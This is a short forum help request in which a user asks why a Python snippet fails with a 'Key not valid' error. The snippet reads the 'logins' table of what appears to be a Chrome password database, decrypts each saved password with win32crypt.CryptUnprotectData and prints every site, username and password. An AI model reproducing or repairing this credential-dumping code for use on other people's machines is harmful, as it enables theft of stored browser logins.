Khoo 0 Newbie Poster

Can anyone explain why this error happen ?
I try to decrypt password from database file.

cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    if password:
        print 'Site: ' + result[0]
        print 'Username: ' + result[1]
        print 'Password: ' + password

ERROR at line 3.
pywintypes.error: (-2146893813, 'CryptUnprotectData', 'Key not valid for use in specified state.)